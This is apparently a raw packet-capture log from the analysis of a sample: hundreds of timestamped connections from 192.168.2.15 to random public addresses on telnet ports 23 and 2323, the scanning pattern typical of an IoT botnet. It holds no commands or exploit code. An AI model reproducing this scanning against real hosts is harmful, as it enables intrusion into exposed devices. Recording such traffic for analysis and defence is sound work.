Oct 6, 2024 20:00:48.522406101 CEST	44186	23	192.168.2.15	191.51.254.71
Oct 6, 2024 20:00:48.522406101 CEST	34352	23	192.168.2.15	99.151.108.154
Oct 6, 2024 20:00:48.522406101 CEST	52744	2323	192.168.2.15	37.56.247.54
Oct 6, 2024 20:00:48.522430897 CEST	59192	23	192.168.2.15	63.72.127.143
Oct 6, 2024 20:00:48.528747082 CEST	23	46080	40.240.222.183	192.168.2.15
Oct 6, 2024 20:00:48.528764009 CEST	23	59834	190.67.17.149	192.168.2.15
Oct 6, 2024 20:00:48.528774977 CEST	23	58922	188.91.72.150	192.168.2.15
Oct 6, 2024 20:00:48.528815985 CEST	23	38760	40.33.98.58	192.168.2.15
Oct 6, 2024 20:00:48.528825998 CEST	23	48840	166.179.157.113	192.168.2.15
Oct 6, 2024 20:00:48.528832912 CEST	59834	23	192.168.2.15	190.67.17.149
Oct 6, 2024 20:00:48.528837919 CEST	23	43514	87.196.226.202	192.168.2.15
Oct 6, 2024 20:00:48.528840065 CEST	46080	23	192.168.2.15	40.240.222.183
Oct 6, 2024 20:00:48.528845072 CEST	58922	23	192.168.2.15	188.91.72.150
Oct 6, 2024 20:00:48.528846025 CEST	38760	23	192.168.2.15	40.33.98.58
Oct 6, 2024 20:00:48.528851032 CEST	23	46778	212.218.178.46	192.168.2.15
Oct 6, 2024 20:00:48.528862953 CEST	2323	48684	54.14.60.146	192.168.2.15
Oct 6, 2024 20:00:48.528862953 CEST	48840	23	192.168.2.15	166.179.157.113
Oct 6, 2024 20:00:48.528875113 CEST	23	48250	173.104.141.10	192.168.2.15
Oct 6, 2024 20:00:48.528878927 CEST	43514	23	192.168.2.15	87.196.226.202
Oct 6, 2024 20:00:48.528883934 CEST	46778	23	192.168.2.15	212.218.178.46
Oct 6, 2024 20:00:48.528886080 CEST	23	44242	44.242.201.252	192.168.2.15
Oct 6, 2024 20:00:48.528898001 CEST	23	58290	209.132.171.157	192.168.2.15
Oct 6, 2024 20:00:48.528903008 CEST	48684	2323	192.168.2.15	54.14.60.146
Oct 6, 2024 20:00:48.528904915 CEST	48250	23	192.168.2.15	173.104.141.10
Oct 6, 2024 20:00:48.528909922 CEST	23	43518	48.61.184.104	192.168.2.15
Oct 6, 2024 20:00:48.528920889 CEST	23	54628	145.24.36.201	192.168.2.15
Oct 6, 2024 20:00:48.528928041 CEST	44242	23	192.168.2.15	44.242.201.252
Oct 6, 2024 20:00:48.528932095 CEST	23	44186	191.51.254.71	192.168.2.15
Oct 6, 2024 20:00:48.528938055 CEST	58290	23	192.168.2.15	209.132.171.157
Oct 6, 2024 20:00:48.528942108 CEST	43518	23	192.168.2.15	48.61.184.104
Oct 6, 2024 20:00:48.528945923 CEST	50952	2323	192.168.2.15	158.58.190.114
Oct 6, 2024 20:00:48.528954029 CEST	50952	23	192.168.2.15	108.65.125.217
Oct 6, 2024 20:00:48.528954029 CEST	54628	23	192.168.2.15	145.24.36.201
Oct 6, 2024 20:00:48.528960943 CEST	44186	23	192.168.2.15	191.51.254.71
Oct 6, 2024 20:00:48.528975010 CEST	50952	23	192.168.2.15	70.181.230.72
Oct 6, 2024 20:00:48.528975010 CEST	50952	23	192.168.2.15	148.86.128.233
Oct 6, 2024 20:00:48.528989077 CEST	50952	23	192.168.2.15	195.83.136.216
Oct 6, 2024 20:00:48.528990030 CEST	50952	23	192.168.2.15	128.29.132.205
Oct 6, 2024 20:00:48.528990984 CEST	50952	23	192.168.2.15	102.174.82.62
Oct 6, 2024 20:00:48.529002905 CEST	50952	23	192.168.2.15	31.200.24.42
Oct 6, 2024 20:00:48.529002905 CEST	50952	23	192.168.2.15	197.72.10.36
Oct 6, 2024 20:00:48.529002905 CEST	50952	23	192.168.2.15	120.179.224.212
Oct 6, 2024 20:00:48.529004097 CEST	50952	2323	192.168.2.15	88.69.200.18
Oct 6, 2024 20:00:48.529002905 CEST	50952	23	192.168.2.15	39.109.90.165
Oct 6, 2024 20:00:48.529015064 CEST	50952	23	192.168.2.15	78.18.30.234
Oct 6, 2024 20:00:48.529015064 CEST	50952	23	192.168.2.15	99.94.176.231
Oct 6, 2024 20:00:48.529030085 CEST	50952	23	192.168.2.15	200.229.127.222
Oct 6, 2024 20:00:48.529030085 CEST	50952	23	192.168.2.15	116.232.146.229
Oct 6, 2024 20:00:48.529031992 CEST	50952	23	192.168.2.15	193.114.88.114
Oct 6, 2024 20:00:48.529032946 CEST	50952	23	192.168.2.15	38.164.196.136
Oct 6, 2024 20:00:48.529033899 CEST	50952	23	192.168.2.15	203.113.110.39
Oct 6, 2024 20:00:48.529041052 CEST	50952	2323	192.168.2.15	195.12.46.12
Oct 6, 2024 20:00:48.529053926 CEST	50952	23	192.168.2.15	189.140.84.46
Oct 6, 2024 20:00:48.529059887 CEST	50952	23	192.168.2.15	163.54.77.211
Oct 6, 2024 20:00:48.529062033 CEST	50952	23	192.168.2.15	83.30.149.56
Oct 6, 2024 20:00:48.529062986 CEST	50952	23	192.168.2.15	103.199.112.240
Oct 6, 2024 20:00:48.529068947 CEST	50952	23	192.168.2.15	84.64.94.64
Oct 6, 2024 20:00:48.529068947 CEST	50952	23	192.168.2.15	200.22.216.246
Oct 6, 2024 20:00:48.529068947 CEST	50952	23	192.168.2.15	111.73.125.131
Oct 6, 2024 20:00:48.529073000 CEST	50952	23	192.168.2.15	110.146.127.38
Oct 6, 2024 20:00:48.529076099 CEST	50952	23	192.168.2.15	188.70.111.55
Oct 6, 2024 20:00:48.529078960 CEST	50952	2323	192.168.2.15	77.47.84.216
Oct 6, 2024 20:00:48.529076099 CEST	50952	23	192.168.2.15	111.232.173.42
Oct 6, 2024 20:00:48.529083967 CEST	50952	23	192.168.2.15	212.112.140.178
Oct 6, 2024 20:00:48.529090881 CEST	50952	23	192.168.2.15	174.62.163.155
Oct 6, 2024 20:00:48.529098034 CEST	50952	23	192.168.2.15	174.254.232.178
Oct 6, 2024 20:00:48.529098034 CEST	50952	23	192.168.2.15	2.241.69.251
Oct 6, 2024 20:00:48.529103041 CEST	50952	23	192.168.2.15	141.110.105.208
Oct 6, 2024 20:00:48.529103994 CEST	50952	23	192.168.2.15	163.180.50.97
Oct 6, 2024 20:00:48.529104948 CEST	50952	23	192.168.2.15	170.196.188.22
Oct 6, 2024 20:00:48.529108047 CEST	23	50728	36.254.16.94	192.168.2.15
Oct 6, 2024 20:00:48.529109955 CEST	50952	23	192.168.2.15	38.71.57.80
Oct 6, 2024 20:00:48.529119015 CEST	23	34352	99.151.108.154	192.168.2.15
Oct 6, 2024 20:00:48.529119968 CEST	50952	2323	192.168.2.15	119.68.247.3
Oct 6, 2024 20:00:48.529124975 CEST	50952	23	192.168.2.15	62.135.251.30
Oct 6, 2024 20:00:48.529129982 CEST	23	55998	185.200.143.147	192.168.2.15
Oct 6, 2024 20:00:48.529131889 CEST	50952	23	192.168.2.15	170.89.239.187
Oct 6, 2024 20:00:48.529136896 CEST	50952	23	192.168.2.15	213.164.11.87
Oct 6, 2024 20:00:48.529145956 CEST	50728	23	192.168.2.15	36.254.16.94
Oct 6, 2024 20:00:48.529153109 CEST	34352	23	192.168.2.15	99.151.108.154
Oct 6, 2024 20:00:48.529155016 CEST	50952	23	192.168.2.15	151.12.130.85
Oct 6, 2024 20:00:48.529164076 CEST	55998	23	192.168.2.15	185.200.143.147
Oct 6, 2024 20:00:48.529169083 CEST	50952	23	192.168.2.15	37.236.152.128
Oct 6, 2024 20:00:48.529171944 CEST	50952	23	192.168.2.15	145.222.38.221
Oct 6, 2024 20:00:48.529177904 CEST	50952	23	192.168.2.15	105.200.205.5
Oct 6, 2024 20:00:48.529180050 CEST	50952	23	192.168.2.15	39.74.184.88
Oct 6, 2024 20:00:48.529189110 CEST	50952	23	192.168.2.15	156.31.145.201
Oct 6, 2024 20:00:48.529191971 CEST	50952	23	192.168.2.15	204.95.243.196
Oct 6, 2024 20:00:48.529196024 CEST	23	33082	168.41.82.9	192.168.2.15
Oct 6, 2024 20:00:48.529196024 CEST	50952	2323	192.168.2.15	192.95.230.105
Oct 6, 2024 20:00:48.529198885 CEST	50952	23	192.168.2.15	18.102.88.193
Oct 6, 2024 20:00:48.529206991 CEST	23	39692	95.149.91.220	192.168.2.15
Oct 6, 2024 20:00:48.529206991 CEST	50952	23	192.168.2.15	128.5.22.225
Oct 6, 2024 20:00:48.529213905 CEST	50952	23	192.168.2.15	157.247.138.38
Oct 6, 2024 20:00:48.529215097 CEST	50952	23	192.168.2.15	122.47.225.49
Oct 6, 2024 20:00:48.529216051 CEST	50952	23	192.168.2.15	173.200.14.103
Oct 6, 2024 20:00:48.529218912 CEST	23	49302	178.226.90.2	192.168.2.15
Oct 6, 2024 20:00:48.529220104 CEST	50952	23	192.168.2.15	111.40.75.113
Oct 6, 2024 20:00:48.529227972 CEST	50952	23	192.168.2.15	124.252.72.57
Oct 6, 2024 20:00:48.529231071 CEST	23	48316	9.245.183.126	192.168.2.15
Oct 6, 2024 20:00:48.529232025 CEST	33082	23	192.168.2.15	168.41.82.9
Oct 6, 2024 20:00:48.529232025 CEST	50952	23	192.168.2.15	46.166.107.180
Oct 6, 2024 20:00:48.529237986 CEST	50952	23	192.168.2.15	4.154.63.79
Oct 6, 2024 20:00:48.529242039 CEST	23	34370	122.226.106.26	192.168.2.15
Oct 6, 2024 20:00:48.529244900 CEST	39692	23	192.168.2.15	95.149.91.220
Oct 6, 2024 20:00:48.529252052 CEST	49302	23	192.168.2.15	178.226.90.2
Oct 6, 2024 20:00:48.529253006 CEST	2323	40884	191.153.88.53	192.168.2.15
Oct 6, 2024 20:00:48.529258013 CEST	50952	2323	192.168.2.15	94.12.64.101
Oct 6, 2024 20:00:48.529263020 CEST	48316	23	192.168.2.15	9.245.183.126
Oct 6, 2024 20:00:48.529263973 CEST	2323	33510	2.157.110.228	192.168.2.15
Oct 6, 2024 20:00:48.529268980 CEST	34370	23	192.168.2.15	122.226.106.26
Oct 6, 2024 20:00:48.529274940 CEST	50952	23	192.168.2.15	73.190.140.181
Oct 6, 2024 20:00:48.529275894 CEST	23	37730	120.81.240.128	192.168.2.15
Oct 6, 2024 20:00:48.529280901 CEST	50952	23	192.168.2.15	77.50.9.2
Oct 6, 2024 20:00:48.529287100 CEST	2323	52744	37.56.247.54	192.168.2.15
Oct 6, 2024 20:00:48.529287100 CEST	40884	2323	192.168.2.15	191.153.88.53
Oct 6, 2024 20:00:48.529295921 CEST	33510	2323	192.168.2.15	2.157.110.228
Oct 6, 2024 20:00:48.529297113 CEST	23	55898	27.244.217.238	192.168.2.15
Oct 6, 2024 20:00:48.529301882 CEST	37730	23	192.168.2.15	120.81.240.128
Oct 6, 2024 20:00:48.529309034 CEST	23	50134	27.159.135.56	192.168.2.15
Oct 6, 2024 20:00:48.529316902 CEST	50952	23	192.168.2.15	13.35.19.81
Oct 6, 2024 20:00:48.529319048 CEST	50952	23	192.168.2.15	211.69.82.76
Oct 6, 2024 20:00:48.529320955 CEST	23	36994	195.192.147.187	192.168.2.15
Oct 6, 2024 20:00:48.529324055 CEST	50952	23	192.168.2.15	208.140.132.38
Oct 6, 2024 20:00:48.529325008 CEST	50952	23	192.168.2.15	59.205.247.218
Oct 6, 2024 20:00:48.529326916 CEST	52744	2323	192.168.2.15	37.56.247.54
Oct 6, 2024 20:00:48.529329062 CEST	55898	23	192.168.2.15	27.244.217.238
Oct 6, 2024 20:00:48.529331923 CEST	23	40622	66.187.19.139	192.168.2.15
Oct 6, 2024 20:00:48.529342890 CEST	23	59192	63.72.127.143	192.168.2.15
Oct 6, 2024 20:00:48.529346943 CEST	50952	23	192.168.2.15	173.218.80.9
Oct 6, 2024 20:00:48.529350042 CEST	50134	23	192.168.2.15	27.159.135.56
Oct 6, 2024 20:00:48.529350042 CEST	50952	23	192.168.2.15	165.148.45.10
Oct 6, 2024 20:00:48.529351950 CEST	36994	23	192.168.2.15	195.192.147.187
Oct 6, 2024 20:00:48.529361010 CEST	50952	2323	192.168.2.15	108.224.164.59
Oct 6, 2024 20:00:48.529367924 CEST	40622	23	192.168.2.15	66.187.19.139
Oct 6, 2024 20:00:48.529367924 CEST	50952	23	192.168.2.15	43.83.213.6
Oct 6, 2024 20:00:48.529367924 CEST	50952	23	192.168.2.15	197.177.23.159
Oct 6, 2024 20:00:48.529370070 CEST	50952	23	192.168.2.15	74.0.162.150
Oct 6, 2024 20:00:48.529370070 CEST	59192	23	192.168.2.15	63.72.127.143
Oct 6, 2024 20:00:48.529372931 CEST	50952	23	192.168.2.15	68.254.46.56
Oct 6, 2024 20:00:48.529378891 CEST	50952	23	192.168.2.15	206.215.156.28
Oct 6, 2024 20:00:48.529386997 CEST	50952	23	192.168.2.15	4.89.52.52
Oct 6, 2024 20:00:48.529392004 CEST	50952	23	192.168.2.15	102.135.75.83
Oct 6, 2024 20:00:48.529397011 CEST	50952	23	192.168.2.15	84.152.174.217
Oct 6, 2024 20:00:48.529397011 CEST	50952	23	192.168.2.15	84.135.237.185
Oct 6, 2024 20:00:48.529397964 CEST	50952	23	192.168.2.15	166.186.95.86
Oct 6, 2024 20:00:48.529402971 CEST	50952	2323	192.168.2.15	153.188.100.78
Oct 6, 2024 20:00:48.529419899 CEST	50952	23	192.168.2.15	179.79.143.207
Oct 6, 2024 20:00:48.529422998 CEST	50952	23	192.168.2.15	87.202.56.33
Oct 6, 2024 20:00:48.529426098 CEST	50952	23	192.168.2.15	60.65.33.111
Oct 6, 2024 20:00:48.529427052 CEST	50952	23	192.168.2.15	109.171.178.9
Oct 6, 2024 20:00:48.529427052 CEST	50952	23	192.168.2.15	148.251.249.134
Oct 6, 2024 20:00:48.529434919 CEST	50952	23	192.168.2.15	191.236.78.3
Oct 6, 2024 20:00:48.529443026 CEST	50952	23	192.168.2.15	120.192.205.54
Oct 6, 2024 20:00:48.529443979 CEST	50952	23	192.168.2.15	8.52.55.28
Oct 6, 2024 20:00:48.529447079 CEST	50952	23	192.168.2.15	144.1.231.211
Oct 6, 2024 20:00:48.529459000 CEST	50952	23	192.168.2.15	83.88.89.218
Oct 6, 2024 20:00:48.529464006 CEST	50952	2323	192.168.2.15	58.204.160.94
Oct 6, 2024 20:00:48.529465914 CEST	50952	23	192.168.2.15	124.86.218.220
Oct 6, 2024 20:00:48.529472113 CEST	50952	23	192.168.2.15	150.1.168.122
Oct 6, 2024 20:00:48.529474974 CEST	50952	23	192.168.2.15	218.145.120.242
Oct 6, 2024 20:00:48.529474974 CEST	50952	23	192.168.2.15	165.1.154.190
Oct 6, 2024 20:00:48.529483080 CEST	50952	23	192.168.2.15	88.151.212.113
Oct 6, 2024 20:00:48.529485941 CEST	50952	23	192.168.2.15	124.124.143.128
Oct 6, 2024 20:00:48.529496908 CEST	50952	23	192.168.2.15	119.225.20.252
Oct 6, 2024 20:00:48.529500961 CEST	50952	2323	192.168.2.15	86.49.22.157
Oct 6, 2024 20:00:48.529509068 CEST	50952	23	192.168.2.15	84.58.142.19
Oct 6, 2024 20:00:48.529510021 CEST	50952	23	192.168.2.15	123.226.31.106
Oct 6, 2024 20:00:48.529520988 CEST	50952	23	192.168.2.15	110.41.221.51
Oct 6, 2024 20:00:48.529527903 CEST	50952	23	192.168.2.15	48.213.11.232
Oct 6, 2024 20:00:48.529530048 CEST	50952	23	192.168.2.15	37.92.200.229
Oct 6, 2024 20:00:48.529530048 CEST	50952	23	192.168.2.15	123.75.56.219
Oct 6, 2024 20:00:48.529530048 CEST	50952	23	192.168.2.15	48.205.214.125
Oct 6, 2024 20:00:48.529536009 CEST	50952	23	192.168.2.15	84.206.78.186
Oct 6, 2024 20:00:48.529548883 CEST	50952	23	192.168.2.15	133.231.235.206
Oct 6, 2024 20:00:48.529557943 CEST	50952	2323	192.168.2.15	190.241.34.180
Oct 6, 2024 20:00:48.529560089 CEST	50952	23	192.168.2.15	156.66.25.250
Oct 6, 2024 20:00:48.529566050 CEST	50952	23	192.168.2.15	75.142.172.216
Oct 6, 2024 20:00:48.529575109 CEST	50952	23	192.168.2.15	75.44.213.247
Oct 6, 2024 20:00:48.529577017 CEST	50952	23	192.168.2.15	23.207.25.91
Oct 6, 2024 20:00:48.529582977 CEST	50952	23	192.168.2.15	195.194.204.236
Oct 6, 2024 20:00:48.529587984 CEST	50952	23	192.168.2.15	217.254.146.49
Oct 6, 2024 20:00:48.529587984 CEST	50952	23	192.168.2.15	47.81.26.217
Oct 6, 2024 20:00:48.529587984 CEST	50952	23	192.168.2.15	223.121.78.118
Oct 6, 2024 20:00:48.529593945 CEST	50952	23	192.168.2.15	99.25.74.114
Oct 6, 2024 20:00:48.529601097 CEST	50952	2323	192.168.2.15	200.191.246.112
Oct 6, 2024 20:00:48.529612064 CEST	50952	23	192.168.2.15	182.113.35.93
Oct 6, 2024 20:00:48.529613972 CEST	50952	23	192.168.2.15	97.206.180.222
Oct 6, 2024 20:00:48.529617071 CEST	50952	23	192.168.2.15	195.52.178.7
Oct 6, 2024 20:00:48.529619932 CEST	50952	23	192.168.2.15	44.71.47.50
Oct 6, 2024 20:00:48.529620886 CEST	50952	23	192.168.2.15	212.236.102.254
Oct 6, 2024 20:00:48.529623985 CEST	50952	23	192.168.2.15	78.63.254.7
Oct 6, 2024 20:00:48.529635906 CEST	50952	23	192.168.2.15	84.184.34.89
Oct 6, 2024 20:00:48.529638052 CEST	50952	23	192.168.2.15	145.232.2.224
Oct 6, 2024 20:00:48.529642105 CEST	50952	23	192.168.2.15	121.165.102.244
Oct 6, 2024 20:00:48.529644012 CEST	50952	2323	192.168.2.15	144.89.181.86
Oct 6, 2024 20:00:48.529650927 CEST	50952	23	192.168.2.15	198.64.189.51
Oct 6, 2024 20:00:48.529655933 CEST	50952	23	192.168.2.15	133.171.145.104
Oct 6, 2024 20:00:48.529658079 CEST	50952	23	192.168.2.15	149.184.86.211
Oct 6, 2024 20:00:48.529669046 CEST	50952	23	192.168.2.15	96.123.36.212
Oct 6, 2024 20:00:48.529671907 CEST	50952	23	192.168.2.15	31.248.93.5
Oct 6, 2024 20:00:48.529680014 CEST	50952	23	192.168.2.15	24.108.163.70
Oct 6, 2024 20:00:48.529680014 CEST	50952	23	192.168.2.15	93.83.171.74
Oct 6, 2024 20:00:48.529691935 CEST	50952	23	192.168.2.15	85.214.7.68
Oct 6, 2024 20:00:48.529695988 CEST	50952	23	192.168.2.15	38.64.147.246
Oct 6, 2024 20:00:48.529695988 CEST	50952	23	192.168.2.15	177.36.43.203
Oct 6, 2024 20:00:48.529701948 CEST	50952	2323	192.168.2.15	48.29.102.137
Oct 6, 2024 20:00:48.529717922 CEST	50952	23	192.168.2.15	35.193.182.18
Oct 6, 2024 20:00:48.529720068 CEST	50952	23	192.168.2.15	54.19.65.170
Oct 6, 2024 20:00:48.529721975 CEST	50952	23	192.168.2.15	9.22.11.190
Oct 6, 2024 20:00:48.529722929 CEST	50952	23	192.168.2.15	207.74.197.38
Oct 6, 2024 20:00:48.529722929 CEST	50952	23	192.168.2.15	174.48.106.213
Oct 6, 2024 20:00:48.529722929 CEST	50952	23	192.168.2.15	111.217.100.103
Oct 6, 2024 20:00:48.529730082 CEST	50952	23	192.168.2.15	198.184.43.238
Oct 6, 2024 20:00:48.529731989 CEST	50952	23	192.168.2.15	4.128.165.231
Oct 6, 2024 20:00:48.529738903 CEST	50952	23	192.168.2.15	38.209.175.22
Oct 6, 2024 20:00:48.529745102 CEST	50952	23	192.168.2.15	135.118.102.58
Oct 6, 2024 20:00:48.529746056 CEST	50952	2323	192.168.2.15	175.187.36.223
Oct 6, 2024 20:00:48.529751062 CEST	50952	23	192.168.2.15	157.215.204.193
Oct 6, 2024 20:00:48.529752970 CEST	50952	23	192.168.2.15	41.150.255.196
Oct 6, 2024 20:00:48.529753923 CEST	50952	23	192.168.2.15	95.95.213.217
Oct 6, 2024 20:00:48.529757977 CEST	50952	23	192.168.2.15	120.247.19.174
Oct 6, 2024 20:00:48.529757977 CEST	50952	23	192.168.2.15	193.62.103.236
Oct 6, 2024 20:00:48.529762983 CEST	50952	23	192.168.2.15	57.245.94.72
Oct 6, 2024 20:00:48.529768944 CEST	50952	23	192.168.2.15	82.247.54.123
Oct 6, 2024 20:00:48.529768944 CEST	50952	23	192.168.2.15	195.167.179.249
Oct 6, 2024 20:00:48.534444094 CEST	2323	50952	158.58.190.114	192.168.2.15
Oct 6, 2024 20:00:48.534456015 CEST	23	50952	108.65.125.217	192.168.2.15
Oct 6, 2024 20:00:48.534492970 CEST	23	50952	70.181.230.72	192.168.2.15
Oct 6, 2024 20:00:48.534493923 CEST	50952	2323	192.168.2.15	158.58.190.114
Oct 6, 2024 20:00:48.534497976 CEST	50952	23	192.168.2.15	108.65.125.217
Oct 6, 2024 20:00:48.534518003 CEST	23	50952	148.86.128.233	192.168.2.15
Oct 6, 2024 20:00:48.534528971 CEST	50952	23	192.168.2.15	70.181.230.72
Oct 6, 2024 20:00:48.534538031 CEST	23	50952	128.29.132.205	192.168.2.15
Oct 6, 2024 20:00:48.534554958 CEST	23	50952	102.174.82.62	192.168.2.15
Oct 6, 2024 20:00:48.534559965 CEST	50952	23	192.168.2.15	148.86.128.233
Oct 6, 2024 20:00:48.534568071 CEST	23	50952	195.83.136.216	192.168.2.15
Oct 6, 2024 20:00:48.534574032 CEST	50952	23	192.168.2.15	128.29.132.205
Oct 6, 2024 20:00:48.534585953 CEST	2323	50952	88.69.200.18	192.168.2.15
Oct 6, 2024 20:00:48.534596920 CEST	23	50952	120.179.224.212	192.168.2.15
Oct 6, 2024 20:00:48.534607887 CEST	23	50952	31.200.24.42	192.168.2.15
Oct 6, 2024 20:00:48.534609079 CEST	50952	23	192.168.2.15	102.174.82.62
Oct 6, 2024 20:00:48.534610033 CEST	50952	23	192.168.2.15	195.83.136.216
Oct 6, 2024 20:00:48.534619093 CEST	23	50952	39.109.90.165	192.168.2.15
Oct 6, 2024 20:00:48.534619093 CEST	50952	2323	192.168.2.15	88.69.200.18
Oct 6, 2024 20:00:48.534630060 CEST	23	50952	197.72.10.36	192.168.2.15
Oct 6, 2024 20:00:48.534636974 CEST	50952	23	192.168.2.15	120.179.224.212
Oct 6, 2024 20:00:48.534641981 CEST	23	50952	78.18.30.234	192.168.2.15
Oct 6, 2024 20:00:48.534641981 CEST	50952	23	192.168.2.15	31.200.24.42
Oct 6, 2024 20:00:48.534651041 CEST	23	50952	99.94.176.231	192.168.2.15
Oct 6, 2024 20:00:48.534658909 CEST	50952	23	192.168.2.15	39.109.90.165
Oct 6, 2024 20:00:48.534660101 CEST	50952	23	192.168.2.15	197.72.10.36
Oct 6, 2024 20:00:48.534662008 CEST	23	50952	116.232.146.229	192.168.2.15
Oct 6, 2024 20:00:48.534668922 CEST	50952	23	192.168.2.15	78.18.30.234
Oct 6, 2024 20:00:48.534682989 CEST	50952	23	192.168.2.15	99.94.176.231
Oct 6, 2024 20:00:48.534701109 CEST	50952	23	192.168.2.15	116.232.146.229
Oct 6, 2024 20:00:48.534986973 CEST	23	50952	200.229.127.222	192.168.2.15
Oct 6, 2024 20:00:48.535022974 CEST	50952	23	192.168.2.15	200.229.127.222
Oct 6, 2024 20:00:48.535038948 CEST	23	50952	38.164.196.136	192.168.2.15
Oct 6, 2024 20:00:48.535048962 CEST	23	50952	193.114.88.114	192.168.2.15
Oct 6, 2024 20:00:48.535058022 CEST	2323	50952	195.12.46.12	192.168.2.15
Oct 6, 2024 20:00:48.535067081 CEST	23	50952	189.140.84.46	192.168.2.15
Oct 6, 2024 20:00:48.535073042 CEST	50952	23	192.168.2.15	38.164.196.136
Oct 6, 2024 20:00:48.535077095 CEST	23	50952	203.113.110.39	192.168.2.15
Oct 6, 2024 20:00:48.535077095 CEST	50952	23	192.168.2.15	193.114.88.114
Oct 6, 2024 20:00:48.535089016 CEST	50952	2323	192.168.2.15	195.12.46.12
Oct 6, 2024 20:00:48.535095930 CEST	50952	23	192.168.2.15	189.140.84.46
Oct 6, 2024 20:00:48.535104990 CEST	23	50952	163.54.77.211	192.168.2.15
Oct 6, 2024 20:00:48.535121918 CEST	23	50952	83.30.149.56	192.168.2.15
Oct 6, 2024 20:00:48.535131931 CEST	23	50952	103.199.112.240	192.168.2.15
Oct 6, 2024 20:00:48.535141945 CEST	50952	23	192.168.2.15	163.54.77.211
Oct 6, 2024 20:00:48.535142899 CEST	50952	23	192.168.2.15	203.113.110.39
Oct 6, 2024 20:00:48.535145998 CEST	23	50952	84.64.94.64	192.168.2.15
Oct 6, 2024 20:00:48.535161018 CEST	50952	23	192.168.2.15	83.30.149.56
Oct 6, 2024 20:00:48.535161972 CEST	50952	23	192.168.2.15	103.199.112.240
Oct 6, 2024 20:00:48.535164118 CEST	23	50952	110.146.127.38	192.168.2.15
Oct 6, 2024 20:00:48.535175085 CEST	23	50952	200.22.216.246	192.168.2.15
Oct 6, 2024 20:00:48.535181046 CEST	50952	23	192.168.2.15	84.64.94.64
Oct 6, 2024 20:00:48.535202980 CEST	23	50952	111.73.125.131	192.168.2.15
Oct 6, 2024 20:00:48.535209894 CEST	50952	23	192.168.2.15	110.146.127.38
Oct 6, 2024 20:00:48.535214901 CEST	50952	23	192.168.2.15	200.22.216.246
Oct 6, 2024 20:00:48.535218000 CEST	23	50952	188.70.111.55	192.168.2.15
Oct 6, 2024 20:00:48.535234928 CEST	2323	50952	77.47.84.216	192.168.2.15
Oct 6, 2024 20:00:48.535244942 CEST	23	50952	111.232.173.42	192.168.2.15
Oct 6, 2024 20:00:48.535247087 CEST	50952	23	192.168.2.15	188.70.111.55
Oct 6, 2024 20:00:48.535255909 CEST	23	50952	212.112.140.178	192.168.2.15
Oct 6, 2024 20:00:48.535265923 CEST	23	50952	174.62.163.155	192.168.2.15
Oct 6, 2024 20:00:48.535273075 CEST	50952	2323	192.168.2.15	77.47.84.216
Oct 6, 2024 20:00:48.535275936 CEST	23	50952	174.254.232.178	192.168.2.15
Oct 6, 2024 20:00:48.535275936 CEST	50952	23	192.168.2.15	111.232.173.42
Oct 6, 2024 20:00:48.535285950 CEST	23	50952	141.110.105.208	192.168.2.15
Oct 6, 2024 20:00:48.535286903 CEST	50952	23	192.168.2.15	212.112.140.178
Oct 6, 2024 20:00:48.535291910 CEST	50952	23	192.168.2.15	111.73.125.131
Oct 6, 2024 20:00:48.535296917 CEST	23	50952	163.180.50.97	192.168.2.15
Oct 6, 2024 20:00:48.535301924 CEST	50952	23	192.168.2.15	174.254.232.178
Oct 6, 2024 20:00:48.535304070 CEST	50952	23	192.168.2.15	174.62.163.155
Oct 6, 2024 20:00:48.535307884 CEST	23	50952	2.241.69.251	192.168.2.15
Oct 6, 2024 20:00:48.535319090 CEST	23	50952	170.196.188.22	192.168.2.15
Oct 6, 2024 20:00:48.535321951 CEST	50952	23	192.168.2.15	141.110.105.208
Oct 6, 2024 20:00:48.535331011 CEST	50952	23	192.168.2.15	2.241.69.251
Oct 6, 2024 20:00:48.535331964 CEST	50952	23	192.168.2.15	163.180.50.97
Oct 6, 2024 20:00:48.535336018 CEST	23	50952	38.71.57.80	192.168.2.15
Oct 6, 2024 20:00:48.535346985 CEST	2323	50952	119.68.247.3	192.168.2.15
Oct 6, 2024 20:00:48.535350084 CEST	50952	23	192.168.2.15	170.196.188.22
Oct 6, 2024 20:00:48.535361052 CEST	23	50952	62.135.251.30	192.168.2.15
Oct 6, 2024 20:00:48.535372019 CEST	23	50952	170.89.239.187	192.168.2.15
Oct 6, 2024 20:00:48.535372972 CEST	50952	23	192.168.2.15	38.71.57.80
Oct 6, 2024 20:00:48.535382032 CEST	23	50952	213.164.11.87	192.168.2.15
Oct 6, 2024 20:00:48.535392046 CEST	50952	2323	192.168.2.15	119.68.247.3
Oct 6, 2024 20:00:48.535392046 CEST	50952	23	192.168.2.15	62.135.251.30
Oct 6, 2024 20:00:48.535408020 CEST	50952	23	192.168.2.15	170.89.239.187
Oct 6, 2024 20:00:48.535418987 CEST	50952	23	192.168.2.15	213.164.11.87
Oct 6, 2024 20:00:48.535537958 CEST	23	50952	151.12.130.85	192.168.2.15
Oct 6, 2024 20:00:48.535556078 CEST	23	50952	37.236.152.128	192.168.2.15
Oct 6, 2024 20:00:48.535566092 CEST	23	50952	145.222.38.221	192.168.2.15
Oct 6, 2024 20:00:48.535577059 CEST	50952	23	192.168.2.15	151.12.130.85
Oct 6, 2024 20:00:48.535590887 CEST	50952	23	192.168.2.15	145.222.38.221
Oct 6, 2024 20:00:48.535590887 CEST	50952	23	192.168.2.15	37.236.152.128
Oct 6, 2024 20:00:48.554318905 CEST	48668	23	192.168.2.15	178.87.27.106
Oct 6, 2024 20:00:48.554328918 CEST	44414	23	192.168.2.15	62.219.133.77
Oct 6, 2024 20:00:48.554330111 CEST	44418	23	192.168.2.15	209.167.239.134
Oct 6, 2024 20:00:48.554349899 CEST	43938	23	192.168.2.15	129.16.7.213
Oct 6, 2024 20:00:48.554349899 CEST	40706	23	192.168.2.15	117.31.59.173
Oct 6, 2024 20:00:48.554349899 CEST	36500	23	192.168.2.15	167.180.28.158
Oct 6, 2024 20:00:48.554352999 CEST	57660	23	192.168.2.15	109.188.42.209
Oct 6, 2024 20:00:48.554352999 CEST	47082	23	192.168.2.15	130.235.208.12
Oct 6, 2024 20:00:48.554352999 CEST	56254	2323	192.168.2.15	216.253.96.7
Oct 6, 2024 20:00:48.554358006 CEST	60242	23	192.168.2.15	109.235.220.71
Oct 6, 2024 20:00:48.554358006 CEST	43724	23	192.168.2.15	216.158.204.255
Oct 6, 2024 20:00:48.554358006 CEST	59016	23	192.168.2.15	150.214.147.123
Oct 6, 2024 20:00:48.554359913 CEST	55308	23	192.168.2.15	9.38.37.27
Oct 6, 2024 20:00:48.554359913 CEST	37740	23	192.168.2.15	32.162.80.88
